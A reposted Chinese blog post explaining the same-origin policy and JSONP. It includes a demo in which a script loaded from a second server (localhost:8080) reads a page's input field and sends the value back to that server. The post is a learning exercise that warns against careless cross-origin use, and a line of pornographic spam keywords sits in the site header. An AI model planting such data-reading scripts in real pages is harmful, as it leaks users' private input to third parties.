日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

危险的jsonp

發布時間:2025/3/17 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 危险的jsonp 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一次參加比賽的時候碰到這了這個問題,結果沒解決,今天想起來的于是學習了一下。

?

首先需要了解什么是同源策略

同源的簡單判斷

如果兩個頁面擁有相同的協議(protocol),端口(如果指定),和主機,那么這兩個頁面就屬于同一個源(origin)。

下表給出了相對http://store.company.com/dir/page.html同源檢測的示例:

?

URL結果原因
http://store.company.com/dir2/other.html成功?
http://store.company.com/dir/inner/another.html成功?
https://store.company.com/secure.html失敗協議不同
http://store.company.com:81/dir/etc.html失敗端口不同
http://news.company.com/dir/other.html失敗主機名不同

?

?

?

?

?

然后參考http://www.bejson.com/knownjson/aboutjsonp/自己寫了個示例,借助于jQuery的ajax與豆瓣的音樂api

<input type="text" id="se" > <button οnclick="a()">a</button> <div class="main"></div> <script type="text/javascript">function a(){var val = $('#se').val();console.log(val);$.ajax({method:'GET',url:'https://api.douban.com/v2/music/search',data:{q:val,count:3},dataType:"jsonp",jsonp:"callback", //這里的參數必須和目標頁面里的回調函數一樣}).done(function(data){var i=data;//原諒這個i$('.main').append('<p>'+i.count+'<p>');$('.main').append('<p>'+i.start+'<p>');$('.main').append('<p>'+i.total+'<p>');for(var j=0;j < i.musics.length;j++){$('.main').append('<p>'+i.musics[j].id+'<p>');$('.main').append('<img src="'+i.musics[j].image+'">');$('.main').append('<p>'+i.musics[j].alt_title+'<p>');$('.main').append('<p>'+i.musics[j].alt+'<p>');$('.main').append('<p>'+i.musics[j].title+'<p>');}}); </script>

測試成功。

然后又搜索了幾篇關于跨域訪問的的博客

當看到這一條http://blog.csdn.net/shimiso/article/details/21830313

忽然想到了一個問題:

當你跨域訪問一個站點的js時,這個js里面嵌入了可以獲取你網頁信息的代碼,那你的隱私豈不是都暴露了?

于是建了兩個服務器模擬一下

服務器a ?http://localhost:8000

將剛才的豆瓣改成服務器b的一個js

$.ajax({method:'GET',url:'http://localhost:8080/JsonpTest2/sou.js',dataType:'jsonp',jsonp:'callback'}).done(function(){console.log('yes good');});

服務器b ?http://localhost:8080

新建sou.js

//重要,獲取a中的輸入框的值 var data = {val:$('#se').val()};$.ajax({method:'GET',url:'http://localhost:8080/JsonpTest2/Test2',//向服務器b發送數據 data:data,dataType:'jsonp',jsonp:'callback' }).done(function(){console.log('yes good'); });

b中新建servlet Test2接受sou.js發送的數據

String val = request.getParameter("val");System.out.println("received data is : "+val);

在html中輸入1234

點擊按鈕

查看服務器b控制臺

成功接收。

?

足見跨域訪問的危險之處。以后一定謹慎使用。

?

參考:

http://blog.csdn.net/shimiso/article/details/21830313

http://www.zhihu.com/question/25427931

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

http://www.bejson.com/knownjson/aboutjsonp/

轉載于:https://www.cnblogs.com/weikongziqu/p/4966641.html

總結

以上是生活随笔為你收集整理的危险的jsonp的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。